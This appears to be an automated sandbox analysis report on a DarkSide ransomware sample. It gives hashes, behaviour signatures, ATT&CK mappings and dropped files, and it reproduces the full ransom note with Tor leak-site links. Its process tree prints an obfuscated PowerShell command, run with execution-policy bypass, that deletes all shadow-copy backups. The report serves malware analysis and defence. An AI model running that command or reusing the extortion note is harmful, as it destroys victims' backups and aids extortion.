Analysis

  • max time kernel
    23s
  • max time network
    25s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    03-06-2023 09:33

General

  • Target

    Darkside.exe

  • Size

    59KB

  • MD5

    cfcfb68901ffe513e9f0d76b17d02f96

  • SHA1

    766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f

  • SHA256

    17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61

  • SHA512

    0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c

  • SSDEEP

    768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Malware Config

Extracted

Path

C:\Users\Admin\README.cb67907a.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (184) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Modifies extensions of user files 19 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Darkside.exe
    "C:\Users\Admin\AppData\Local\Temp\Darkside.exe"
    1⤵
    • Modifies extensions of user files
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies registry class
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1904
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1220

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Collection

Data from Local System

1
T1005

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    62KB

    MD5

    3ac860860707baaf32469fa7cc7c0192

    SHA1

    c33c2acdaba0e6fa41fd2f00f186804722477639

    SHA256

    d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

    SHA512

    d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
    Filesize

    344B

    MD5

    d68d3365b55cac59e63db23a9fdf3dad

    SHA1

    43b05bbe4d73297ea600e2859a62780c83c6b84a

    SHA256

    a573f9fd9da49ff687bb1e73459a0ab3ecc58d1b55bfb3cea8209ba5b1152e4e

    SHA512

    20a986ec1bd2cfaf50da5da3bb9fab4af4ad5d9e3d1cc57220c9bc7e37e2972de7ea485adc1e57405d105f5337d55b32b5c93e16219a270be0274c05f43f4d05

  • C:\Users\Admin\AppData\Local\Temp\Cab2E54.tmp
    Filesize

    61KB

    MD5

    fc4666cbca561e864e7fdf883a9e6661

    SHA1

    2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

    SHA256

    10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

    SHA512

    c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

  • C:\Users\Admin\AppData\Local\Temp\Tar3000.tmp
    Filesize

    164KB

    MD5

    4ff65ad929cd9a367680e0e5b1c08166

    SHA1

    c0af0d4396bd1f15c45f39d3b849ba444233b3a2

    SHA256

    c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

    SHA512

    f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    856270ab2c489e0ce77471080bcc157a

    SHA1

    7bd36e33efa3766e6b8b17ebb7cac4edacd7fe5f

    SHA256

    4136a648a50a4c553dca58f816ffc22852d657d7b102e4d4fd944a5873c3fb85

    SHA512

    8dffce9c8eb5b675acb204db91fcc1f6f7a48cea8bca1d305142788ff62a7081090a0f0b3230a209afd92e5c8c1a545b575f14816aeeaf438138e397d1dbb179

  • C:\Users\Admin\README.cb67907a.TXT
    Filesize

    3KB

    MD5

    b58e2411168bbdbec635cf4001635db0

    SHA1

    c130cd9caaaa514a6b98c1168e10d44a989d191a

    SHA256

    652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

    SHA512

    87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

  • memory/1904-139-0x000000001B220000-0x000000001B502000-memory.dmp
    Filesize

    2.9MB

  • memory/1904-140-0x0000000001FC0000-0x0000000001FC8000-memory.dmp
    Filesize

    32KB

  • memory/1904-141-0x00000000025C0000-0x0000000002640000-memory.dmp
    Filesize

    512KB

  • memory/1904-143-0x00000000025C0000-0x0000000002640000-memory.dmp
    Filesize

    512KB

  • memory/1904-142-0x00000000025C0000-0x0000000002640000-memory.dmp
    Filesize

    512KB

  • memory/1904-144-0x00000000025C0000-0x0000000002640000-memory.dmp
    Filesize

    512KB